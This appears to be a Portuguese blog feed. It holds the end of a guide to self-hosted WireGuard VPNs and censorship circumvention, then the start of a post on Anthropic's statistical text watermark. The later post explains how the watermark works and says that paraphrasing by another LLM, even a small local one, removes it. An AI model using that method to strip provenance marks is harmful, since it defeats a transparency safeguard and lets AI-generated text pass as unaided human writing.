</span></span></span><span class="line"><span class="cl">  ghcr.io/wg-easy/wg-easy</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>6. Libere o firewall.</strong> A porta 51820/UDP é o túnel em si. A 51821/TCP é o painel: <strong>não deixe o painel exposto pra internet</strong>. O jeito certo é abri-lo só via túnel SSH (<code>ssh -L 51821:localhost:51821 root@SEU_IP</code> e acessar <code>localhost:51821</code> no navegador), ou liberar 51821 só pra criar seus clientes e fechar em seguida.</p>
<p><strong>7. Crie os clientes.</strong> No painel, um clique gera um cliente com QR code. Aponte a câmera do app oficial do WireGuard (Android/iOS) e está pronto. No notebook, baixe o arquivo de configuração e importe no cliente WireGuard.</p>
<p>Pronto: todo o tráfego do seu dispositivo sai pelo seu servidor europeu. Seu provedor brasileiro vê apenas um fluxo cifrado pra um IP qualquer da Alemanha.</p>
<h3>E na sua máquina, como usa?<span class="hx:absolute hx:-mt-20" id="e-na-sua-máquina-como-usa"></span>
    <a href="#e-na-sua-m%c3%a1quina-como-usa" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O servidor é metade da história. No seu dispositivo, o ritual é esse:</p>
<p><strong>No celular (Android/iOS):</strong> instale o app oficial do <a href="https://www.wireguard.com/install/"target="_blank" rel="noopener">WireGuard</a> pela loja (ou pelo F-Droid, no Android). Toque no <strong>&quot;+&quot;</strong>, escolha &ldquo;Escanear QR code&rdquo; e aponte pro código que o painel do wg-easy mostrou. Aparece um &ldquo;túnel&rdquo; novo na lista: um toque no interruptor e você está dentro. No iOS, ative o &ldquo;On-Demand&rdquo; nas configurações do túnel pra ele religar sozinho quando trocar de rede (Wi-Fi pro 4G, por exemplo).</p>
<p><strong>No notebook (Windows/macOS):</strong> baixe o cliente oficial do WireGuard pro seu sistema, clique em &ldquo;Importar túnel de arquivo&rdquo; e selecione o <code>.conf</code> que você baixou do painel. Um clique em &ldquo;Ativar&rdquo; e pronto. Detalhe importante: o cliente oficial tem a opção <strong>&ldquo;Bloquear tráfego fora do túnel&rdquo;</strong> (o kill switch): ligue ela. Se o túnel cair, sua internet para em vez de vazar pelo IP real.</p>
<p><strong>No Linux:</strong> copie o <code>.conf</code> pra <code>/etc/wireguard/wg0.conf</code> e suba com <code>sudo wg-quick up wg0</code> (e <code>sudo systemctl enable wg-quick@wg0</code> pra subir no boot). Ou importe o arquivo direto no NetworkManager pela interface gráfica, se preferir clicar em vez de digitar.</p>
<p>Um <code>.conf</code> de cliente completo, pra referência, é assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="k">[Interface]</span>
</span></span><span class="line"><span class="cl"><span class="na">PrivateKey</span> <span class="o">=</span> <span class="s">&lt;chave privada DESTE dispositivo&gt;</span>
</span></span><span class="line"><span class="cl"><span class="na">Address</span> <span class="o">=</span> <span class="s">10.10.0.2/32</span>
</span></span><span class="line"><span class="cl"><span class="na">DNS</span> <span class="o">=</span> <span class="s">1.1.1.1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">[Peer]</span>
</span></span><span class="line"><span class="cl"><span class="na">PublicKey</span> <span class="o">=</span> <span class="s">&lt;chave pública do servidor&gt;</span>
</span></span><span class="line"><span class="cl"><span class="na">Endpoint</span> <span class="o">=</span> <span class="s">IP_DO_SERVIDOR:51820</span>
</span></span><span class="line"><span class="cl"><span class="na">AllowedIPs</span> <span class="o">=</span> <span class="s">0.0.0.0/0</span>
</span></span><span class="line"><span class="cl"><span class="na">PersistentKeepalive</span> <span class="o">=</span> <span class="s">25</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Dois detalhes que valem ouro aqui. O <code>PersistentKeepalive = 25</code> mantém o túnel vivo quando você está atrás de NAT (rede doméstica, 4G), evitando que a conexão morra em silêncio. E o <code>AllowedIPs = 0.0.0.0/0</code> é o que faz <strong>todo</strong> o tráfego entrar no túnel; sem ele, só o tráfego pros IPs da própria VPN sai criptografado. (A linha <code>DNS =</code> funciona bem no Windows, macOS e celular; no Linux com systemd-resolved ela pode atrapalhar, como explico nos erros comuns mais abaixo.)</p>
<p><strong>Conferindo se funcionou:</strong> com o túnel ativado, rode <code>curl ifconfig.me</code> no terminal (ou abra <code>ipleak.net</code> no navegador). Tem que aparecer o IP da sua VPS, não o da sua casa. Se a sua rede tiver IPv6, confira separadamente com <code>curl -4 ifconfig.me</code> e <code>curl -6 ifconfig.me</code>: <strong>os dois</strong> precisam mostrar o servidor. E visite <code>dnsleaktest.com</code>: o DNS também tem que sair pelo túnel. Se aparecer o servidor de DNS do seu provedor de internet, tem vazamento pra corrigir.</p>
<p><strong>Manutenção mínima:</strong> ative <code>unattended-upgrades</code> pro sistema se atualizar sozinho, use chave SSH em vez de senha, e não instale mais nada nessa máquina. Superfície pequena, risco pequeno.</p>
<h3>O jeito 2026 de fazer isso: deixe a IA configurar<span class="hx:absolute hx:-mt-20" id="o-jeito-2026-de-fazer-isso-deixe-a-ia-configurar"></span>
    <a href="#o-jeito-2026-de-fazer-isso-deixe-a-ia-configurar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se você travou em algum passo, lembre que estamos em 2026: você não precisa mais dominar cada comando desse guia. Eu mesmo fui por esse caminho. Aluguei a VPS, entreguei o acesso SSH pro agente de IA e pedi a configuração completa; do outro lado, na minha máquina, ele importou o <code>.conf</code>, subiu o <code>wg-quick</code>, ativou no boot e conferiu vazamento no final. Hoje meu servidor é um playbook Ansible reproduzível (derrubou a VPS, sobe outra e roda um comando) e a config do meu notebook segue o mesmo padrão. Tudo em repositórios <strong>privados</strong>, e privados de propósito: configuração de VPN não é o tipo de coisa que eu quero que estranhos fiquem espiando.</p>
<p><img src="gitea-my-vpnserver.png" alt="Meu repositório privado no Gitea com o playbook Ansible do servidor: cadeado de “Private”, roles, group_vars e um README de operação"  loading="lazy" /></p>
<p><em>O meu, rodando no meu Gitea: privado, versionado, e o servidor inteiro sobe de novo com um comando.</em></p>
<p>E se for pedir pra IA configurar, pula o &ldquo;me instala uma VPN&rdquo; genérico e entrega os requisitos de verdade. Algo assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Transforme esta VPS Ubuntu 24.04 limpa em um servidor WireGuard robusto,
</span></span><span class="line"><span class="cl">de preferência via playbook Ansible idempotente (quero poder destruir a
</span></span><span class="line"><span class="cl">VPS e recriar tudo rodando um comando). Requisitos:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- WireGuard gerenciado por wg-quick@wg0, chave do servidor gerada no
</span></span><span class="line"><span class="cl">  próprio servidor (permissão 0600), sem painel web exposto
</span></span><span class="line"><span class="cl">- Túnel dual-stack: IPv4 e IPv6 (subnet ULA fd00::/64 com NAT66), pra
</span></span><span class="line"><span class="cl">  nenhum tráfego vazar por fora em redes com IPv6 nativo
</span></span><span class="line"><span class="cl">- ufw negando tudo, exceto SSH e a porta UDP do WireGuard
</span></span><span class="line"><span class="cl">- sshd somente com chave (sem senha), fail2ban no sshd,
</span></span><span class="line"><span class="cl">  unattended-upgrades sem reboot automático
</span></span><span class="line"><span class="cl">- Peers declarados como dados num arquivo de configuração: adicionar
</span></span><span class="line"><span class="cl">  cliente = adicionar uma entrada e rodar o playbook de novo
</span></span><span class="line"><span class="cl">- Gere os .conf dos clientes com PersistentKeepalive=25, AllowedIPs em
</span></span><span class="line"><span class="cl">  full-tunnel e QR code via qrencode
</span></span><span class="line"><span class="cl">- Ao final, imprima os comandos de verificação (curl -4/-6 ifconfig.me,
</span></span><span class="line"><span class="cl">  wg show)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">No fim, me entregue um README curto de operação: como adicionar cliente,
</span></span><span class="line"><span class="cl">como atualizar, quando reiniciar.</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A diferença entre um servidor &ldquo;funcionando&rdquo; e um servidor sólido está inteirinha nesses requisitos: dual-stack, firewall fechado, sshd sem senha, peers como dados, reprodutibilidade. A barreira técnica desse artigo inteiro, na prática, virou uma conversa.</p>
<h3>Erros comuns (e como evitar)<span class="hx:absolute hx:-mt-20" id="erros-comuns-e-como-evitar"></span>
    <a href="#erros-comuns-e-como-evitar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Vejo sempre os mesmos tropeços quando alguém monta a primeira VPN própria. Todos evitáveis:</p>
<ul>
<li><strong>Expor o painel do wg-easy pra internet.</strong> O erro clássico número um. O painel é a chave do cofre: aberto na 51821, qualquer scan de botnet acha em horas. Túnel SSH sempre, porta aberta nunca.</li>
<li><strong>Senha fraca ou reciclada no painel e no SSH.</strong> A VPN inteira protegida por <code>123mudar</code> é pior que não ter VPN. E desligue o login SSH por senha de vez (<code>PasswordAuthentication no</code> no <code>sshd_config</code>) depois de configurar sua chave.</li>
<li><strong>Achar que está anônimo porque o IP é &ldquo;seu&rdquo;.</strong> A VPS está no seu nome, paga com o seu cartão. Ela te protege de bloqueio em massa, não de investigação com o seu nome nela. Nível de paranoia errado gera falsa sensação de segurança, que é pior que nenhuma.</li>
<li><strong>VPS no Brasil ou de empresa brasileira.</strong> Já vi gente montar &ldquo;VPN de privacidade&rdquo; em provedor nacional. Se a ordem judicial chega no mesmo país, você não saiu do alcance, só mudou de prateleira. Servidor fora, jurisdição fora.</li>
<li><strong>Distribuir acesso pra meio mundo.</strong> Cada pessoa extra é um dispositivo a mais, um padrão de uso a mais, uma boca a mais. Família próxima, ok; grupo de 40 contatos, não. Quanto mais gente no mesmo IP, mais rápido ele entra em alguma lista.</li>
<li><strong>Usar a mesma máquina pra outras coisas.</strong> Blog pessoal, bot de Telegram, seedbox: tudo isso aumenta a superfície de ataque e amarra identidades que você queria separadas. VPS da VPN é só da VPN.</li>
<li><strong>Confiar sem testar vazamento.</strong> Depois de configurar, teste: <code>ipleak.net</code> ou <code>dnsleaktest.com</code> com a VPN ligada. Se aparecer seu IP real ou o DNS do seu provedor, algo está errado, e você só descobre assim.</li>
<li><strong>Esquecer o IPv6.</strong> Esse pegou até eu: túnel só IPv4 numa rede com IPv6 nativo, e todo o tráfego v6 passa por fora da VPN, às claras, sem você perceber. Ou o túnel é dual-stack, ou metade do seu tráfego vaza. Teste com <code>curl -6 ifconfig.me</code>.</li>
<li><strong>A linha <code>DNS =</code> quebrando o cliente Linux.</strong> Em sistemas com systemd-resolved (Ubuntu, Fedora e afins), o <code>wg-quick</code> chama o openresolv pra escrever o DNS, o openresolv se recusa a mexer no <code>/etc/resolv.conf</code> que pertence ao systemd-resolved (erro de &ldquo;signature mismatch&rdquo;) e a interface inteira falha ao subir. Se o DNS do seu sistema já funciona bem, simplesmente remova a linha: as consultas vão pelo túnel de qualquer jeito.</li>
<li><strong>Perder a impressora, o NAS e a rede local.</strong> Com <code>AllowedIPs = 0.0.0.0/0</code>, até o tráfego pra dentro da sua própria casa tenta ir pelo túnel. A correção é uma regra de policy routing avaliada antes das regras do próprio WireGuard: <code>PostUp = ip rule add to 192.168.0.0/16 lookup main priority 1000</code> (e o <code>PostDown</code> correspondente pra desfazer ao desligar).</li>
<li><strong>Encadear <code>wg-quick down &amp;&amp; up</code>.</strong> O <code>down</code> retorna erro quando a interface já está desligada, e com <code>&amp;&amp;</code> o <code>up</code> nunca executa. Rode o <code>up</code> sozinho.</li>
<li><strong>Instalar e abandonar.</strong> Servidor sem atualização por um ano é servidor com vulnerabilidade conhecida. E teste a conexão de tempos em tempos: o que funciona hoje pode estar fingerprintado amanhã.</li>
<li><strong>Não ter backup da configuração.</strong> O diretório <code>~/.wg-easy</code> guarda tudo (chaves, clientes). Guarde uma cópia criptografada local. Se a VPS morrer ou for desligada pelo provedor, você sobe outra em dez minutos em vez de recomeçar do zero.</li>
</ul>
<blockquote>
  <p><strong>Pra guardar:</strong> uma VPS de US$ 5 fora do Brasil com WireGuard te tira de qualquer bloqueio em massa por IP catalogado. O preço é o cadastro no provedor: aceitável contra bloqueio, insuficiente contra investigação nominada.</p>

</blockquote>
<h2>O inimigo invisível: DPI<span class="hx:absolute hx:-mt-20" id="o-inimigo-invisível-dpi"></span>
    <a href="#o-inimigo-invis%c3%advel-dpi" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até aqui, assumi que o censor bloqueia <strong>endereços</strong>. O próximo nível dele é bloquear <strong>formatos</strong>, e é aí que mora a inspeção profunda de pacotes (DPI).</p>
<p>Mesmo criptografado, um túnel de VPN tem assinatura. O aperto de mão inicial do WireGuard e do OpenVPN tem tamanhos de pacote, sequências e tempos característicos. O conteúdo é ilegível, mas o formato grita &ldquo;eu sou uma VPN&rdquo;. A China faz exatamente isso em escala nacional: não precisa ler seu tráfego, basta reconhecer o protocolo e derrubar a conexão.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o censor não precisa ler o seu tráfego pra te bloquear. Basta reconhecer o formato do túnel. É por isso que a ofuscação existe.</p>

</blockquote>
<p>A resposta técnica é <strong>ofuscação</strong>: fazer o túnel parecer outra coisa.</p>
<ul>
<li><strong><a href="https://amnezia.org/"target="_blank" rel="noopener">AmneziaWG</a></strong>: um fork do WireGuard que injeta pacotes de lixo e embaralha os cabeçalhos até a assinatura sumir. Mesma base auditada do WireGuard, app gratuito pra todas as plataformas, e aponta pro mesmo tipo de VPS da Fase 2. Se você montou wg-easy, migrar pra Amnezia é o passo natural quando o DPI chegar.</li>
<li><strong>udp2raw</strong>: enfia o tráfego UDP do WireGuard dentro de pacotes TCP falsos, que parecem uma conexão comum.</li>
<li><strong>Shadowsocks</strong>: nasceu na China exatamente pra isso, um proxy criptografado desenhado pra não ter assinatura reconhecível.</li>
</ul>
<p>Repare que ainda estamos falando de ferramentas gratuitas e de uma VPS de US$ 5. O custo sobe pro censor muito mais rápido do que pra você.</p>
<h2>Fase 3: quando nem a sua VPS basta<span class="hx:absolute hx:-mt-20" id="fase-3-quando-nem-a-sua-vps-basta"></span>
    <a href="#fase-3-quando-nem-a-sua-vps-basta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se o cenário degradar ao ponto de DPI nacional com bloqueio de protocolos, o jogo vira camuflagem pesada e redundância. As opções reais, em ordem de esforço:</p>
<p><strong>Protocolos que se disfarçam de HTTPS comum.</strong> O estado da arte hoje é o <strong>VLESS com Reality</strong> (do projeto Xray-core): seu tráfego se apresenta como uma conexão TLS 1.3 legítima pra um site real e inocente, com certificado, aperto de mão e padrão de pacotes indistinguíveis de um acesso normal. Pra bloquear você, o censor teria que bloquear o site inocente junto, e o dano colateral é a defesa. <strong>Trojan-Go</strong> segue filosofia parecida. O <strong>Outline</strong>, da Jigsaw (Google), empacota Shadowsocks com um gerenciador amigável se você quiser distribuir acessos pra família e amigos.</p>
<p><strong>Tor com pontes (bridges).</strong> O Tor puro é bloqueado por padrão nos países censurados, mas as pontes obfs4 e o Snowflake foram feitos sob medida pra esse cenário: Snowflake mascara sua entrada na rede Tor como uma videochamada comum de WebRTC. É lento, esquece streaming, mas é a rede mais difícil de extinguir que existe, mantida justamente pra jornalista e ativista em país hostil.</p>
<p><strong>Redundância e rotação.</strong> Duas ou três VPS baratas em provedores diferentes, com failover automático. Se uma cair numa lista negra, você troca em minutos: instância nova, IP novo. Seu custo: mais US$ 5. O custo do censor: descobrir e bloquear de novo, toda vez.</p>
<p><strong>Acessos alternativos.</strong> Starlink e outros links via satélite saem completamente da infraestrutura terrestre nacional. Enquanto não forem também regulados, são o último recurso físico. E pros casos extremos, a sneakernet de sempre: pendrive, disco externo, cópia física.</p>
<p><strong>Higiene do lado do cliente</strong>, que vale em todas as fases:</p>
<ul>
<li><strong>Kill switch ligado</strong>: se o túnel cai, o dispositivo corta a internet em vez de vazar pelo IP real.</li>
<li><strong>Proteção contra vazamento de DNS</strong>: suas consultas de DNS têm que ir pelo túnel, senão seu provedor continua vendo cada site que você visita.</li>
<li><strong>WebRTC desligado no navegador</strong> (ou use extensão): ele vaza seu IP real mesmo com VPN ativa.</li>
<li><strong>VPN ligada quando necessário, não sempre</strong>: padrão de uso 24/7 vira ele mesmo uma assinatura comportamental.</li>
</ul>
<p>E as notas honestas de sempre: rodar seu próprio servidor pra uso pessoal é legal; usá-lo pra cometer crime, não. E a partir de 2026, com a nova majorante, &ldquo;usando VPN&rdquo; pesa na pena de qualquer crime que você cometeria de qualquer forma. Mantenha a superfície pequena, teste sua conectividade de dentro do Brasil com regularidade (o que funciona hoje pode ser fingerprint amanhã), tenha plano B (uma segunda VPS, um perfil de Tor com pontes) e mantenha cópias offline de tudo que for crítico.</p>
<p><strong>Avaliação realista:</strong> nenhuma solução é permanente contra um censor determinado e bem financiado. O objetivo aqui é outro: encarecer o bloqueio em massa até ele virar mau negócio, técnica e politicamente. Um país que precisa derrubar metade da internet legítima pra calar meia dúzia de vozes tem um problema de relações públicas, não de tecnologia. É nesse custo que a gente aposta.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a escada é VPN comercial, depois VPN própria, depois protocolo ofuscado, depois Tor com pontes, depois satélite. Cada degrau sobe pouco o seu custo e muito o do censor. Comece a subir antes de precisar.</p>

</blockquote>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O padrão brasileiro é o que eu chamei de censura por acumulado: nenhum degrau isolado parece o fim do mundo, e cada um vem com sua plaquinha de boa intenção. Mas a infraestrutura de bloqueio, uma vez montada, não tem dono moral: serve pro governo de hoje e pro de amanhã, contra o alvo de hoje e contra você.</p>
<p>A infraestrutura de comunicação livre funciona igualzinho: também se constrói por acumulado, também tijolo por tijolo. Uma VPN comercial configurada hoje. Uma VPS sua amanhã. Um protocolo ofuscado na gaveta pra quando precisar. Nada disso é paranoia. Funciona como backup: você não espera o disco falhar pra começar.</p>
<p>E se você quer acompanhar essa fronteira de perto, uma recomendação pessoal: siga o <a href="https://x.com/ayubio"target="_blank" rel="noopener">Ayub</a>. É hoje a melhor fonte em português sobre infraestrutura de internet e censura estatal no Brasil. Foi ele quem <a href="https://x.com/ayubio/status/2058990595503509513"target="_blank" rel="noopener">soou o alarme sobre a criminalização de VPNs no PL 3066/2025</a> meses antes de virar lei. E nos últimos dias ele está cobrindo duas coisas que a grande imprensa mal tocou: a entrega de mais de R$ 100 bilhões em redes públicas, dutos e imóveis da União pras operadoras e pro BTG Pactual, e o aparato técnico da nova regulamentação do Marco Civil, que segundo ele deu à Anatel <a href="https://rendageek.com.br/noticias/marco-civil-da-internet-novas-regras/"target="_blank" rel="noopener">acesso remoto aos roteadores de borda dos provedores</a>. Leitura obrigatória pra entender por onde vem o próximo degrau da escada.</p>
<p>A melhor hora de montar o seu túnel era antes de precisar dele. A segunda melhor é agora.</p>
]]></content:encoded><category>redes</category><category>seguranca</category><category>leis-e-regulacao</category></item><item><title>Entendendo IA Watermark da Anthropic: como burlar</title><link>https://akitaonrails.github.io/2026/08/16/entendendo-ia-watermark-da-anthropic/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/16/entendendo-ia-watermark-da-anthropic/</guid><pubDate>Sun, 16 Aug 2026 16:00:00 -0300</pubDate><description>&lt;p&gt;O Claude agora sai de fábrica com carimbo. Desde 2 de agosto de 2026, a Anthropic marca de forma invisível o texto dos modelos mais novos, e os lançados antes migram ao longo dos meses seguintes.&lt;/p&gt;
&lt;p&gt;Desligar, sem opção. A reação veio rápida: uma &lt;a href="https://www.businessinsider.com/claude-users-cancel-subscriptions-citing-anthropic-new-ai-watermark-2026-8"target="_blank" rel="noopener"&gt;onda de cancelamento de assinatura&lt;/a&gt;, com print do cancelamento circulando no X.&lt;/p&gt;
&lt;p&gt;Antes de cancelar por reflexo, vale saber o que a marca é de verdade. Ela funciona de um jeito bem distinto do que a maioria imagina, existe por um motivo concreto, e desaparece com uma facilidade quase cômica.&lt;/p&gt;</description><content:encoded><![CDATA[<p>O Claude agora sai de fábrica com carimbo. Desde 2 de agosto de 2026, a Anthropic marca de forma invisível o texto dos modelos mais novos, e os lançados antes migram ao longo dos meses seguintes.</p>
<p>Desligar, sem opção. A reação veio rápida: uma <a href="https://www.businessinsider.com/claude-users-cancel-subscriptions-citing-anthropic-new-ai-watermark-2026-8"target="_blank" rel="noopener">onda de cancelamento de assinatura</a>, com print do cancelamento circulando no X.</p>
<p>Antes de cancelar por reflexo, vale saber o que a marca é de verdade. Ela funciona de um jeito bem distinto do que a maioria imagina, existe por um motivo concreto, e desaparece com uma facilidade quase cômica.</p>
<p>Pra quem tem pressa, o essencial:</p>
<ul>
<li><strong>Um viés estatístico nas palavras que o Claude escolhe.</strong> Invisível na leitura, detectável apenas por quem tem a chave da Anthropic. Caractere escondido e fonte estranha ficam de fora.</li>
<li><strong>A origem é a lei europeia, o AI Act.</strong> A Anthropic assinou o código de transparência europeu e resolveu carimbar no mundo inteiro; o porquê vem adiante.</li>
<li><strong>Uma passada por outro LLM apaga o carimbo.</strong> O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, até um fraquinho local, as escolhas viram outras e o padrão se dissolve. A própria Anthropic reconhece.</li>
</ul>
<p>Cada ponto em detalhe a seguir.</p>
<h2>O que é esse watermark, de verdade<span class="hx:absolute hx:-mt-20" id="o-que-é-esse-watermark-de-verdade"></span>
    <a href="#o-que-%c3%a9-esse-watermark-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pode tirar da cabeça caractere Unicode invisível, espaço escondido no meio da linha, fonte alterada. O watermark da Anthropic é <a href="https://www.anthropic.com/news/claude-text-watermark"target="_blank" rel="noopener">estatístico</a>: ele atua na hora em que o Claude decide qual palavra usar, justamente nos pontos em que várias palavras serviriam igualmente bem.</p>
<p>Todo modelo de linguagem monta texto palavra por palavra, tirando a próxima de uma lista de candidatos prováveis. Quando duas ou três servem igual, um número aleatório decide. O watermark muda a origem desse acaso: o número passa a derivar de uma chave secreta combinada com as palavras anteriores. O método é herdado do <a href="https://ai.google.dev/responsible/docs/safeguards/synthid"target="_blank" rel="noopener">SynthID-Text</a>, do Google DeepMind.</p>
<p>Um exemplo concreto. Falando do tempo, &ldquo;o céu estava nublado&rdquo; e &ldquo;o céu estava cinzento&rdquo; transmitem a mesma informação. Nesses encontros de sinônimos, a chave inclina o Claude pra um lado com mais frequência do que o puro azar inclinaria. Cada escolha isolada passa despercebida, mas um texto longo repete esse ponto de decisão centenas de vezes, e o conjunto acaba formando uma assinatura estatística.</p>
<p>O comunicado da Anthropic é direto: <strong>o texto não ganha nada, e nenhum caractere fica oculto</strong>. O custo segue o mesmo porque nenhum token extra é gerado, e a leitura fica idêntica. Quem segura a chave roda um detector, compara a sequência de palavras com as escolhas típicas do Claude e recebe de volta uma probabilidade de o texto ter saído dele.</p>
<p>E o que a marca prova se resume a isso: o Claude <strong>esteve envolvido</strong> em algum momento. Ela não distingue um texto escrito do zero pelo modelo de um texto que ele só editou com peso. Sobre você, nada fica registrado: sem usuário, sem empresa, sem conversa identificada.</p>
<p>O carimbo vale pro texto do Claude.ai, da API, do Claude Code e dos demais produtos. Em código ele aparece menos, já que código raramente permite trocar um termo por outro equivalente. Arquivos e imagens seguem caminho distinto, um metadado assinado chamado C2PA, em vez deste watermark de texto. E a limitação importa: em trecho curto ou altamente factual, onde quase não existe escolha de palavra, o detector enfraquece.</p>
<h2>Por que tanta gente cancelou<span class="hx:absolute hx:-mt-20" id="por-que-tanta-gente-cancelou"></span>
    <a href="#por-que-tanta-gente-cancelou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O estopim somou três ingredientes: caráter obrigatório, alcance global e ausência de opt-out. A marca não se desliga e vale fora da Europa também. Uma leva de assinantes do Claude Max <a href="https://www.forbes.com/sites/maryroeloffs/2026/08/11/claude-will-put-invisible-watermarks-on-ai-text-and-images-and-the-internet-isnt-happy/"target="_blank" rel="noopener">cancelou citando controle e autoria</a> do próprio material.</p>
<p>O receio é concreto, no campo profissional e no acadêmico. Rascunhar com o Claude e assinar o resultado como seu vira risco se, adiante, um detector apontar &ldquo;passou por IA&rdquo;. A <a href="https://gizmodo.com/anthropic-explains-its-watermark-system-as-some-claude-users-loudly-revolt-2000799022"target="_blank" rel="noopener">Anthropic respondeu com um post</a> garantindo que a marca preserva leitura, sentido e qualidade, apenas sinalizando processamento. Nem todo mundo se convenceu.</p>
<h2>A lei europeia por trás do carimbo<span class="hx:absolute hx:-mt-20" id="a-lei-europeia-por-trás-do-carimbo"></span>
    <a href="#a-lei-europeia-por-tr%c3%a1s-do-carimbo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O carimbo nasceu de uma obrigação concreta. O <a href="https://artificialintelligenceact.eu/article/50/"target="_blank" rel="noopener">Artigo 50 do AI Act</a> exige que provedores de sistemas de IA geradora marquem a saída em formato legível por máquina, de modo que o conteúdo artificial dê pra identificar como tal. A obrigação passou a valer em 2 de agosto de 2026, e descumprir custa caro: multa de até €15 milhões ou 3% do faturamento global anual.</p>
<p>A Anthropic tinha assinado, em julho de 2026, o Código de Prática de Transparência pra Conteúdo Gerado por IA da Comissão Europeia, junto com outros grandes provedores de modelo, num grupo de cerca de 190 signatários. Os demais também vão implementar as próprias marcas d&rsquo;água, cada um com sua chave e seu método.</p>
<p>Sobrou pra Anthropic uma decisão: restringir a marcação à Europa ou estender ao planeta. A empresa afirma ainda não ter um jeito durável de limitar a marca por região, então escolheu carimbar tudo, em todo lugar, desde o primeiro dia. Daí o carimbo aparecer no texto de assinantes brasileiros e japoneses, que nada têm a ver com a lei europeia.</p>
<h2>Dá pra remover passando o texto por outro LLM?<span class="hx:absolute hx:-mt-20" id="dá-pra-remover-passando-o-texto-por-outro-llm"></span>
    <a href="#d%c3%a1-pra-remover-passando-o-texto-por-outro-llm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa é a pergunta que mais chega pra mim. Resposta curta: dá, e é fácil. O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, as escolhas passam a ser dele, e o padrão estatístico se desfaz.</p>
<p>A própria Anthropic admite. Retoque leve provavelmente deixa pedaço da marca, mas <strong>a reescrita completa, com cada palavra trocada, elimina o sinal</strong>. A lógica é simples: o detector mede quais sinônimos o Claude preferiu; se outro modelo escolheu os sinônimos dele, não sobra nada do Claude pra medir.</p>
<p>A academia confirma o rumo. <a href="https://arxiv.org/abs/2508.20228"target="_blank" rel="noopener">Testes de robustez do SynthID</a>, feitos na Queen&rsquo;s University, partem de detecção perfeita sem ataque e mostram a taxa caindo pra volta de 84% depois de um parafraseador dedicado, e pra menos de 70% com tradução de ida e volta. Quanto mais agressiva a reescrita, mais o sinal degrada.</p>
<p>E sim, a intuição está certa: <strong>um modelo modesto, até local, resolve</strong>. Rearranjar texto preservando o sentido é serviço que dispensa raciocínio profundo. Um GLM, um Kimi, um Llama pequeno rodando na sua máquina reescreve o parágrafo e apaga a assinatura no caminho. Trocar &ldquo;nublado&rdquo; por &ldquo;cinzento&rdquo; mil vezes está longe de pedir o modelo mais esperto do mercado.</p>
